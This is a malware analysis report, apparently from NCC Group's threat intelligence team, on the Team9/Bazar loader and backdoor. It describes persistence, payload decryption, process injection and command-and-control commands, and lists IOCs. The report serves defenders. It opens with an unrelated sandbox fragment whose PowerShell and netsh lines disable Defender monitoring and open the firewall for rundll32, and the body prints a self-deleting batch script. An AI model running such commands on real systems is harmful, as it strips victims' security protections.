List of Mutex checked	00082fbb-a419-43f4-bd80-e3631ebbf4c8 069e4409-bd54-4a1f-8e37-49da2cf6a537 0ca9a8d3-01bf-4f9e-bfc7-7eb51e67e0c4 12a2c0fc-00d2-4614-b4ae-c18eb500a088 138be83c-2a52-4c31-9ee8-bfd4eac53d72 15417794-7485-46f6-9965-d34730ea0f48 168cb052-69eb-45be-be07-d4f323dc67d6 16ed8dab-ee6b-44ea-8cea-31c66d6864b9 172821eb-729d-4307-a56f-63063b2677de 17689d7a-89bf-4e2a-a49c-9e4e5a51a9d7 197a1689-8bb1-4fcd-80e9-32b86e3751f5 1a379834-6135-41e7-9cf7-e79a9f705fbc 1cce886d-1841-4e18-963b-15f2e90a3c44 1e8e5806-2e99-4002-b62c-7a78a6641874 1f1769de-42fa-4883-b37c-f0de488de557 240187f4-b097-4a3c-a6fa-2ca5b1e0b373 25f07256-3b46-4531-aa3e-e1729d9aa7cb 274f61dd-3fed-4bfe-9aa6-8a012339a41f 27a0f05f-41fa-43f1-86b9-7e48bde3d716 2a942be2-9252-4d60-9483-3651a92192a5 2c0c5f0d-6ad7-4c97-b1a8-2c706d03a4f8 39309b80-cef5-4ce1-b215-0719723c4c30 3c159c86-0e90-47d1-ad37-788c00ba2948 3f78ca48-011c-4ffb-abfa-c9f659e4a820 3ffd4715-4991-4bc8-9c51-2e3aeb6e737e 3G1S91V5ZA5fB56W 48353b4f-51f9-4961-bcc1-c8d5163a8978 4d6a57e9-e692-4da2-8ba8-adb25645e4b8 4e1ac580-d3cf-4961-81eb-072dff249c17 4e5e7d5e-a1fe-4de7-ad53-5f4aaecd7402 55731fe5-97ad-47dc-953f-37a8aca1451b 5962654a-a395-4714-96f2-2419ab2172bf 5e76294a-2787-4ae2-9ddc-b792b0c45ec2 60f8896b-a437-4e79-9e29-96522ca88c4c 62e64ec9-d662-4595-bf77-634764dcf810 67f4e0eb-54cc-4779-b3c3-fe277c8478ae 6b264507-ba91-4d85-86c9-1e827315cbe0 722cbc3c-acc8-4296-a8dd-7d06e5ca7d57 7eb5ccec-3fd7-4826-b681-02a6129aa108 81baf7c7-3010-49b9-9f56-d53fca06c04d 85e6784c-7904-41ee-99b4-8b286e19da70 8AZB70HDFK0WOZIZ 8f1a37f6-9cff-447e-a00c-cb19512de134 9b765102-98e7-43e2-a003-f8cbdfab8a64 9f093bf8-480b-414c-a8e8-5d9c6da83576 9f7e0dc2-bc5c-497e-aa70-f8072e71550c ab7d92f2-968a-461e-9da6-e569dedb0a91 ARScenes ASUSNet20 ATYNKAJP30Z9AQ b22d1dd8-e3ea-4764-ba9b-0ebf41fddee7 b3e32042-d969-43d1-b20c-bcf8da5ba436 beb41e13-5e33-450f-a9c5-3e5a382d224d BiosChecksumChecker bitcoreguard BlueEye c3c2a8b3-fc8a-4fe3-8f24-6f2a757a5012 ca1b68fd-56d5-4355-94b2-ed6ab0857890 CBKZiOPASRHKL CDNetStreamer2.r05 cf3573d5-bf4f-4094-bbea-ced8efde2257 China1839099 China4150039 CryptoMaxima D1JozWrldD d86a1229-2cb7-409b-a3de-5366eec3db90 d8ba5865-ac00-4df1-8437-eb144077e031 dad17f2e-5f30-4313-b1c3-5ae8c2149757 dec0f5aa-1fd1-458f-916c-693887610891 e3024a8f-3f2b-4e06-ac36-0997c1090d00 ed3a7d1d-ed6f-4c8f-86d4-44dcde3b32f8 f1e7974a-30e1-423c-9745-bbb7ff7dbf71 f378f238-6503-4544-8e43-cbe4bbf3615e f967041f-20dd-4d31-a34a-f5e04bdfdf7b FamilyWeekend fbac80bd-ba6a-4cd5-92d9-3a31a87f7af6 fda765a3-b5a2-4417-9097-3b18dc6fe6fb fe711d65-f31a-4c22-a12f-cec65d231941 FixLCD FMPsDSCV0l FoloDrite Hk4kKLL0ZAF8a HTTPBalancer_v2.15 I0N8129AZR1A ImageCreator_v4.2 InRAMQueue IntelBIOSReader IwS01003993 JerkPatrol JKLSXX1ZA1QRLER KDOWEtRVAB LenovoSuite MaverickMeerkat MDISequencer MK5Cheats MLIXNJ9AEGPSE MLIXNJAEGPSE MovieFinder N800HANOI NattyNarwhal NeoNetPlasma NeonRhythmbox NetRegistry NetworkLighter NHO9AZB7HDK0WAZMM NMOZAQcxzER NNDRIOZ8933 OMXBJSJ3WA1ZIN OneiricOcelot OnlineShopFinder P79zA00FfF3 PCV5ATULCN PJOQT7WD1SAOM PrecisePangolin PSHZ73VLLOAFB QOSUser2.r10 QuantalQuetzal RaringRingtail RaspberryManualViewer RedParrot RouteMatrix SoloWrite sqlcasheddbm SSDOptimizerV13 StreamCoder1.0 Tropic819331 UEFIConfig UtopicUnicorn VHO9AZB7HDK0WAZMM VideoBind VirginPoint VirtualDesktopKeeper VirtualPrinterDriver VividVervet VRK1AlIXBJDA5U3A WinDuplicity WireDefender wwallmutex
Commands executed	C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe Set-MpPreference -DisableBehaviorMonitoring $true ; Set-MpPreference -MAPSReporting 0 ; Set-MpPreference -ExclusionProcess rundll32.exe ; Set-MpPreference -ExclusionExtension dll   C:\Windows\System32\netsh.exe advfirewall firewall add rule name=”Rundll32″ dir=out action=allow protocol=any program=”C:\Windows\system32\rundll32.exe”

Author: Nikolaos Pantazopoulos
Co-author: Stefano Antenucci (@Antelox)
And in close collaboration with NCC’s RIFT.

1. Introduction

Publicly discovered in late April 2020, the Team9 malware family (also known as ‘Bazar [1]’) appears to be a new malware being developed by the group behind Trickbot. Even though the development of the malware appears to be recent, the developers have already developed two components with rich functionality. The purpose of this blog post is to describe the functionality of the two components, the loader and the backdoor.

About the Research and Intelligence Fusion Team (RIFT): RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection rules to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.

2. Early variant of Team9 loader

We assess that this is an earlier variant of the Team9 loader (35B3FE2331A4A7D83D203E75ECE5189B7D6D06AF4ABAC8906348C0720B6278A4) because of its simplicity and the compilation timestamp. The other variant was compiled more recently and has additional functionality. It should be noted that in very early versions of the loader binaries (2342C736572AB7448EF8DA2540CDBF0BAE72625E41DAB8FFF58866413854CA5C), the developers were using the Windows BITS functionality in order to download the backdoor. However, we believe that this functionality has been dropped.

Before proceeding to the technical analysis part, it is worth mentioning that the strings are not encrypted. Similarly, the majority of the Windows API functions are not loaded dynamically.

When the loader starts its execution, it checks if another instance of itself has infected the host already by attempting to read the value ‘BackUp Mgr’ in the ‘Run’ registry key ‘Software\Microsoft\Windows\CurrentVersion\Run’ (Figure 1). If it exists, it validates if the current loaders file path is the same as the one that has already been set in the registry value’s data (BackUp Mgr). Assuming that all of the above checks were successful, the loader proceeds to its core functionality.

Figure 1 – Loader verifies if it has already infect the host

However, if any of the above checks do not meet the requirements then the loader does one of the following actions:

1. Copy itself to the %APPDATA%\Microsoft folder, add this file path in the registry ‘Run’ key under the value ‘BackUp Mgr’ and then execute the loader from the copied location.
2. If the loader cannot access the %APPDATA% location or if the loader is running from this location already, then it adds the current file path in the ‘Run’ registry key under the value ‘BackUp Mgr’ and executes the loader again from this location.

When the persistence operation finishes, the loader deletes itself by writing a batch file in the Windows temporary folder with the file name prefix ‘tmp’ followed by random digits. The batch file content:

@echo off
set Module=%1
:Repeat
del %Module%
if exist %Module% goto Repeat
del %0

Next, the loader fingerprints the Windows architecture. This is a crucial step because the loader needs to know what version of the backdoor to download (32-bit or 64-bit). Once the Windows architecture has been identified, the loader carries out the download.

The core functionality of the loader is to download the Team9 backdoor component. The loader contains two ‘.bazar’ top-level domains which point to the Team9 backdoor. Each domain hosts two versions of the Team9 backdoor on different URIs, one for each Windows architecture (32-bit and 64-bit), the use of two domains is highly likely to be a backup method.

Any received files from the command and control server are sent in an encrypted format. In order to decrypt a file, the loader uses a bitwise XOR decryption with the key being based on the infected host’s system time (Year/Month/Day) (Figure 2).

Figure 2 – Generate XOR key based on infected host’s time

As a last step, the loader verifies that the executable file was decrypted successfully by validating the PE headers. If the Windows architecture is 32-bit, the loader injects the received executable file into ‘calc.exe’ (Windows calculator) using the ‘Process Hollowing’ technique. Otherwise, it writes the executable file to disk and executes it.

The following tables summarises the identified bazar domains and their URIs found in the early variants of the loader.

URI	Description
/api/v108	Possibly downloads the 64-bit version of the Team9 backdoor
/api/v107	Possibly downloads the 32-bit version of the Team9 backdoor
/api/v5	Possibly downloads an updated 32-bit version of the Team9 loader
/api/v6	Possibly downloads an updated 64-bit version of the Team9 loader
/api/v7	Possibly downloads the 32-bit version of the Team9 backdoor
/api/v8	Possibly downloads the 64-bit version of the Team9 backdoor

Table 1 – Bazar URIs found in early variants of the loader

The table below (table 2) summarises the identified domains found in the early variants of the loader.

Bazar domains

bestgame[.]bazar

forgame[.]bazar

zirabuo[.]bazar

tallcareful[.]bazar

coastdeny[.]bazar

Table 2 – Bazar domains found in early variants of the loader

Lastly, another interesting observation is the log functionality in the binary file that reveals the following project file path:

d:\\development\\team9\\team9_restart_loader\\team9_restart_loader

3. Latest variant of Team9 loader

In this section, we describe the functionality of a second loader that we believe to be the latest variant of the aforementioned Team9 loader. This assessment is based on three factors:

1. Similar URIs in the backdoor requests
2. Similar payload decryption technique
3. Similar code blocks

Unlike its previous version, the strings are encrypted and the majority of Windows API functions are loaded dynamically by using the Windows API hashing technique.

Once executed, the loader uses a timer in order to delay the execution. This is likely used as an anti-sandbox method. After the delayed time has passed, the loader starts executing its core functionality.

Before the malware starts interacting with the command and control server, it ensures that any other related files produced by a previous instance of the loader will not cause any issues. As a result the loader appends the string ‘_lyrt’ to its current file path and deletes any file with this name. Next, the loader searches for the parameter ‘-p’ in the command line and if found, it deletes the scheduled task ‘StartDT’. The loader creates this scheduled task later for persistence during execution. The loader also attempts to execute hijacked shortcut files, which will eventually execute an instance of Team9 loader. This functionality is described later.

The loader performs a last check to ensure that the operating systems keyboard and language settings are not set to Russian and creates a mutex with a hardcoded name ‘ld_201127’. The latter is to avoid double execution of its own instance.

As mentioned previously, the majority of Windows API functions are loaded dynamically. However, in an attempt to bypass any API hooks set by security products, the loader manually loads ‘ntdll’ from disk, reads the opcodes from each API function and compares them with the ones in memory (Figure 3). If the opcodes are different, the loader assumes a hook has been applied and removes it. This applies only to 64-bit samples reviewed to date.

Figure 3 – Scan for hooks in Windows API functions

The next stage downloads from the command and control server either the backdoor or an updated version of the loader. It is interesting to note that there are minor differences in the loader’s execution based on the identified Windows architecture and if the ‘-p’ parameter has been passed into the command line.

Assuming that the ‘-p’ parameter has not been passed into the command line, the loader has two loops. One for 32-bit and the other for 64-bit, which download an updated version of the loader. The main difference between the two loops is that in case of a Windows x64 infection, there is no check of the loader’s version.

The download process is the same with the previous variant, the loader resolves the command and control server IP address using a hardcoded list of DNS servers and then downloads the corresponding file. An interesting addition, in the latest samples, is the use of an alternative command and control server IP address, in case the primary one fails. The alternative IP address is generated by applying a bitwise XOR operation to each byte of the resolved command and control IP address with the byte 0xFE. In addition, as a possible anti-behaviour method, the loader verifies that the command and control server IP address is not ‘127.0.0.1’. Both of these methods are also present in the latest Team9 backdoor variants.

As with the previous Team9 loader variant, the command and control server sends back the binary files in an encrypted format. The decryption process is similar with its previous variant but with a minor change in the XOR key generation, the character ‘3’ is added between each hex digit of the day format (Figure 4). For example:

332330332330330335331338 (ASCII format, host date: 2020-05-18)

Figure 4 – Add the character ‘3’ in the generated XOR key

If the ‘-p’ parameter has been passed into the command line, the loader proceeds to download the Team9 backdoor directly from the command and control server. One notable addition is the process injection (hollow process injection) when the backdoor has been successfully downloaded and decrypted. The loader injects the backdoor to one of the following processes:

1. Svchost
2. Explorer
3. cmd

Whenever a binary file is successfully downloaded and properly decrypted, the loader adds or updates its persistence in the infected host. The persistence methods are available in table 3.

Persistence Method	Persistence Method Description
Scheduled task	The loader creates two scheduled tasks, one for the updated loader (if any) and one for the downloaded backdoor. The scheduled task names and timers are different.
Winlogon hijack	Add the malware’s file path in the ‘Userinit’ registry value. As a result, whenever the user logs in the malware is also executed.
Shortcut in the Startup folder	The loaders creates a shortcut, which points to the malware file, in the Startup folder. The name of the shortcut is ‘adobe’.
Hijack already existing shortcuts	The loader searches for shortcut files in Desktop and its subfolders. If it finds one then it copies the malware into the shortcut’s target location with the application’s file name and appends the string ‘__’ at the end of the original binary file name. Furthermore, the loader creates a ‘.bin’ file which stores the file path, file location and parameters. The ‘.bin’ file structure can be found in the Appendix section. When this structure is filled in with all required information, It is encrypted with the XOR key 0x61.

Table 3 – Persistence methods loader

The following tables summarises the identified bazar domains and their URIs for this Team9 loader variant.

URI	Description
/api/v117	Possibly downloads the 32-bit version of the Team9 loader
/api/v118	Possibly downloads the 64-bit version of the Team9 loader
/api/v119	Possibly downloads the 32-bit version of the Team9 backdoor
/api/v120	Possibly downloads the 64-bit version of the Team9 backdoor
/api/v85	Possibly downloads the 32-bit version of the Team9 loader
/api/v86	Possibly downloads the 64-bit version of the Team9 loader
/api/v87	Possibly downloads the 32-bit version of the Team9 backdoor
/api/v88	Possibly downloads the 64-bit version of the Team9 backdoor

Table 4 – Identified URIs for Team9 loader variant

Bazar domain

bestgame[.]bazar

forgame[.]bazar

Table 5 – Identified domains for Team9 loader variant

4. Team9 backdoor

We are confident that this is the backdoor which the loader installs onto the compromised host. In addition, we believe that the first variants of the Team9 backdoor started appearing in the wild in late March 2020. Each variant does not appear to have major changes and the core of the backdoor remains the same.

During analysis, we identified the following similarities between the backdoor and its loader:

1. Creates a mutex with a hardcoded name in order to avoid multiple instances running at the same time (So far the mutex names which we have identified are ‘mn_185445’ and ‘{589b7a4a-3776-4e82-8e7d-435471a6c03c}’)
2. Verifies that the keyboard and the operating system language is not Russian
3. Use of Emercoin domains with a similarity in the domain name choice

Furthermore, the backdoor generates a unique ID for the infected host. The process that it follows is:

1. Find the creation date of ‘C:\Windows’ (Windows FILETIME structure format). The result is then converted from a hex format to an ASCII representation. An example is shown in figures 5 (before conversion) and 6 (after conversion).
2. Repeat the same process but for the folder ‘C:\Windows\System32’
3. Append the second string to the first with a bullet point as a delimiter. For example, 01d3d1d8 b10c2916.01d3d1d8 b5b1e079
4. Get the NETBIOS name and append it to the previous string from step 3 along with a bullet point as a delimiter. For example: 01d3d1d8 b10c2916.01d3d1d8 b5b1e079.DESKTOP-4123EEB.
5. Read the volume serial number of C: drive and append it to the previous string. For example: 01d3d1d8 b10c2916.01d3d1d8 b5b1e079.DESKTOP-SKCF8VA.609fbbd5
6. Hash the string from step 5 using the MD5 algorithm. The output hash is the bot ID.

Note: In a few samples, the above algorithm is different. The developers use hard-coded dates, the Windows directory file paths in a string format (‘C:\Windows’ and ‘C:\Windows\system32’) and the NETBIOS name. Based on the samples’ functionality, there are many indications that these binary files were created for debugging purposes.

Figure 5 – Before conversion

Figure 6 – After conversion

4.1 Network communication

The backdoor appears to support network communication over ports 80 (HTTP) and 443(HTTPS). In recent samples, a certificate is issued from the infected host for communication over HTTPS. Each request to the command and control server includes at least the following information:

1. A URI path for requesting tasks (/2) or sending results (/3).
2. Group ID. This is added in the ‘Cookie’ header.

Lastly, unlike the loader which decrypts received network replies from the command and control server using the host’s date as the key, the Team9 backdoor uses the bot ID as the key.

4.2 Bot commands

The backdoor supports a variety of commands. These are summarised in the table below.

Command ID	Description	Parameters
0	Set delay time for the command and control server requests	Time to delay the requests
1	Collect infected host information	Memory buffer to fill in the collected data
10	Download file from an address and inject into a process using either hollowing process injection or Doppelgänging process injection	DWORD value that represents the corresponding execution method. This includes: Process hollowing injection Process Doppelgänging injection Write the file into disk and execute it Process mask – DWORD value that represents the process name to inject the payload. This can be one of the following: Explorer Cmd Calc (Not used in all variants) Svchost notepad Address from which the file is downloaded Command line
11	Download a DLL file and execute it	Timeout value Address to download the DLL Command line Timeout time
12	Execute a batch file received from the command and control server	DWORD value to determine if the batch script is to be stored into a Windows pipe (run from memory) or in a file into disk Timeout value. Batch file content
13	Execute a PowerShell script received from the command and control server	DWORD value to determine if the PowerShell script is to be stored into a Windows pipe (run from memory) or in a file into disk Timeout value. PowerShell script content
14	Reports back to the command and control server and terminates any handled tasks	None
15	Terminate a process	PID of the process to terminate
16	Upload a file to the command and control server. Note: Each variant of the backdoor has a set file size they can handle.	Path of the file to read and upload to the command and control server.
100	Remove itself	None

Table 6 – Supported backdoor commands

Table 7 summarises the report structure of each command when it reports back (POST request) to the command and control server. Note: In a few samples, the backdoor reports the results to an additional IP address (185.64.106[.]73) If it cannot communicate with the Bazar domains.

Command ID/Description	Command execution results structure
1/ Collect infected host information	The POST request includes the following information: Operating system information Operating system architecture NETBIOS name of the infected host Username of the infected user Backdoor’s file path Infected host time zone Processes list Keyboard language Antivirus name and installed applications Infected host’s external IP Shared drives Shared drives in the domain Trust domains Infected host administrators Domain admins
11/ Download a DLL file and execute it	The POST request includes the following parameters: Command execution errors (Passed in the parameter ‘err’) Process identifier (Passed in the ‘pid’ parameter) Command execution output (Passed in the parameter ‘stdout’, if any) Additional information from the command execution (Passed in the parameter ‘msg’, if any)
12/ Execute a batch file received from the command and control server	Same as the previous command (11/ Download a DLL file and execute it)
13/ Execute a PowerShell script received from the command and control server	Same as the previous command (11/ Download a DLL file and execute it)
14/ Reports back to the command and control server and terminate any handled tasks	POST request with the string ‘ok’
15/ Terminate a process	Same as the previous command (11/ Download a DLL file and execute it)
16/ Upload a file to the command and control server	No parameters. The file’s content is sent in a POST request.
100/ Remove itself	POST request with the string ‘ok’ or ‘process termination error’

Table 7 – Report structure

5. Appendix

5.1 struct shortcut_bin

struct shortcut_bin 

{ 
BYTE junk_data[434];
BYTE file_path[520];
BYTE filepath_dir[520];
BYTE file_loader_parameters[1024];
};

5.2 IOCs

File hashes

Description	SHA-256 Hash
Team9 backdoor (x64)	4F258184D5462F64C3A752EC25FB5C193352C34206022C0755E48774592B7707
Team9 backdoor (x64)	B10DCEC77E00B1F9B1F2E8E327A536987CA84BCB6B0C7327C292F87ED603837D
Team9 backdoor (x64)	363B6E0BC8873A6A522FE9485C7D8B4CBCFFA1DA61787930341F94557487C5A8
Team9 backdoor (x64)	F4A5FE23E21B6B7D63FA2D2C96A4BC4A34B40FD40A921B237A50A5976FE16001
Team9 backdoor (x64)	A0D0CFA8BF0BC5B8F769D8B64EAB22D308B108DD8A4D59872946D69C3F8C58A5
Team9 backdoor (x64)	059519E03772D6EEEA9498625AE8B8B7CF2F01FC8179CA5D33D6BCF29D07C9F4
Team9 backdoor (x64)	0F94B77892F22D0A0E7095B985F30B5EDBE17AB5B8D41F798EF0C708709636F4
Team9 backdoor (x64)	2F0F0956628D7787C62F892E1BD9EDDA8B4C478CF8F1E65851052C7AD493DC28
Team9 backdoor (x64)	37D713860D529CBE4EAB958419FFD7EBB3DC53BB6909F8BD360ADAA84700FAF2
Team9 backdoor (x64)	3400A7DF9EC3DC8283D5AC7ACCB6935691E93FEDA066CC46C6C04D67F7F87B2B
Team9 backdoor (x64)	5974D938BC3BBFC69F68C979A6DC9C412970FC527500735385C33377AB30373A
Team9 backdoor (x64)	C55F8979995DF82555D66F6B197B0FBCB8FE30B431FF9760DEAE6927A584B9E3
Team9 backdoor (x86)	94DCAA51E792D1FA266CAE508C2C62A2CA45B94E2FDFBCA7EA126B6CD7BC5B21
Team9 backdoor (x86)	4EE0857D475E67945AF2C5E04BE4DEC3D6D3EB7C78700F007A7FF6F8C14D4CB3
Team9 backdoor (x86)	8F552E9CA2BEDD90CE9935A665758D5DE2E86B6FDA32D98918534A8A5881F91A
Team9 backdoor (x86)	AE7DAA7CE3188CCFE4069BA14C486631EEA9505B7A107A17DDEE29061B0EDE99
Team9 backdoor (x86)	F3C6D7309F00CC7009BEA4BE6128F0AF2EA6B87AB7A687D14092F85CCD35C1F5
Team9 backdoor (x86)	6CBF7795618FB5472C5277000D1C1DE92B77724D77873B88AF3819E431251F00
Team9 backdoor (x86)	B0B758E680E652144A78A7DDECC027D4868C1DC3D8D7D611EC4D3798358B0CE5
Team9 backdoor (x86)	959BA7923992386ABF2E27357164672F29AAC17DDD4EE1A8AD4C691A1C566568
Team9 backdoor (x86)	3FE61D87C9454554B0CE9101F95E18ABAD8AC6C62DCC88DC651DDFB20568E060
Team9 loader (x64)	B3764EF42D526A1AE1A4C3B0FE198F35C6BC5C07D5F155D15060B94F8F6DC695
Team9 loader (x64)	210C51AAB6FC6C52326ECE9DBD3DDAB5F58E98432EF70C46936672C79542FBD0
Team9 loader (x64)	11B5ADAEFD04FFDACEB9539F95647B1F51AEC2117D71ECE061F15A2621F1ECE9
Team9 loader (x64)	534D60392E0202B24D3FDAF992F299EF1AF1FB5EFEF0096DD835FE5C4E30B0FA
Team9 loader (x64)	9D3A265688C1A098DD37FE77C139442A8EB02011DA81972CEDDC0CF4730F67CF
Team9 loader (x64)	CE478FDBD03573076394AC0275F0F7027F44A62A306E378FE52BEB0658D0B273
Team9 loader (x64)	5A888D05804D06190F7FC408BEDE9DA0423678C8F6ECA37ECCE83791DE4DF83D
Team9 loader (x64)	EB62AD35C613A73B0BD28C1779ACE80E2BA587A7F8DBFEC16CF5BF520CAA71EE
Team9 loader (x64)	A76426E269A2DEFABCF7AEF9486FF521C6110B64952267CFE3B77039D1414A41
Team9 loader (x64)	65CDBDD03391744BE87AC8189E6CD105485AB754FED0B069A1378DCA3E819F28
Team9 loader (x64)	38C9C3800DEA2761B7FAEC078E4BBD2794B93A251513B3F683AE166D7F186D19
Team9 loader (x64)	8F8673E6C6353187DBB460088ADC3099C2F35AD868966B257AFA1DF782E48875
Team9 loader (x86)	35B3FE2331A4A7D83D203E75ECE5189B7D6D06AF4ABAC8906348C0720B6278A4
Team9 loader (x86)	65E44FC8527204E88E38AB320B3E82694D1548639565FDAEE53B7E0F963D3A92
Team9 loader (x86)	F53509AF91159C3432C6FAF4B4BE2AE741A20ADA05406F9D4E9DDBD48C91EBF9
Team9 loader (x86)	73339C130BB0FAAD27C852F925AA1A487EADF45DF667DB543F913DB73080CD5D
Team9 loader (x86)	2342C736572AB7448EF8DA2540CDBF0BAE72625E41DAB8FFF58866413854CA5C
Team9 loader (x86)	079A99B696CC984375D7A3228232C44153A167C1936C604ED553AC7BE91DD982
Team9 loader (x86)	0D8AEACF4EBF227BA7412F8F057A8CDDC54021846092B635C8D674B2E28052C6
Team9 loader (x86)	F83A815CE0457B50321706957C23CE8875318CFE5A6F983A0D0C580EBE359295
Team9 loader (x86)	3FA209CD62BACC0C2737A832E5F0D5FD1D874BE94A206A29B3A10FA60CEB187D
Team9 loader (x86)	05ABD7F33DE873E9630F9E4F02DBD0CBC16DD254F305FC8F636DAFBA02A549B3

Table 8 – File hashes

Identified Emercoin domains

Domains

newgame[.]bazar

thegame[.]bazar

portgame[.]bazar

workrepair[.]bazar

realfish[.]bazar

eventmoult[.]bazar

bestgame[.]bazar

forgame[.]bazar

Zirabuo[.]bazar

Table 9 – Identified Emercoin domains

Command and Control IPs

C&C IPs

34.222.222[.]126

71.191.52[.]192

77.213.120[.]90

179[.]43.134.164

185[.]65.202.62

220[.]32.32.128

34[.]222.222.126

51[.]81.113.26

71[.]191.52.192

77[.]213.120.90

85[.]204.116.58

Table 10 – Command and Control IPs

Identified DNS IPs

DNS IPs

51[.]254.25.115

193[.]183.98.66

91[.]217.137.37

87[.]98.175.85

185[.]121.177.177

169[.]239.202.202

198[.]251.90.143

5[.]132.191.104

111[.]67.20.8

163[.]53.248.170

142[.]4.204.111

142[.]4.205.47

158[.]69.239.167

104[.]37.195.178

192[.]99.85.244

158[.]69.160.164

46[.]28.207.199

31[.]171.251.118

81[.]2.241.148

82[.]141.39.32

50[.]3.82.215

46[.]101.70.183

5[.]45.97.127

130[.]255.78.223

144[.]76.133.38

139[.]59.208.246

172[.]104.136.243

45[.]71.112.70

163[.]172.185.51

5[.]135.183.146

51[.]255.48.78

188[.]165.200.156

147[.]135.185.78

92[.]222.97.145

51[.]255.211.146

159[.]89.249.249

104[.]238.186.189

139[.]59.23.241

94[.]177.171.127

45[.]63.124.65

212[.]24.98.54

178[.]17.170.179

185[.]208.208.141

82[.]196.9.45

146[.]185.176.36

89[.]35.39.64

89[.]18.27.167

77[.]73.68.161

185[.]117.154.144

176[.]126.70.119

139[.]99.96.146

217[.]12.210.54

185[.]164.136.225

192[.]52.166.110

63[.]231.92.27

66[.]70.211.246

96[.]47.228.108

45[.]32.160.206

128[.]52.130.209

35[.]196.105.24

172[.]98.193.42

162[.]248.241.94

107[.]172.42.186

167[.]99.153.82

138[.]197.25.214

69[.]164.196.21

94[.]247.43.254

94[.]16.114.254

151[.]80.222.79

176[.]9.37.132

192[.]71.245.208

195[.]10.195.195

Table 11 – Identified DNS IPs

Mutexes

Component	Mutex name
Team9 backdoor	mn_185445
Team9 backdoor	{589b7a4a-3776-4e82-8e7d-435471a6c03c}
Team9 loader	ld_201127

Table 12 – Mutex names Team9 components

Host IOCs

1. Files ending with the string ‘_lyrt’
2. Scheduled tasks with names ‘StartAT’ and ‘StartDT’
3. Shortcut with file name ‘adobe’ in the Windows ‘StartUp’ folder
4. Registry value name ‘BackUp Mgr’ in the ‘Run’ registry key

Network detection

Source(s):

[1] https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/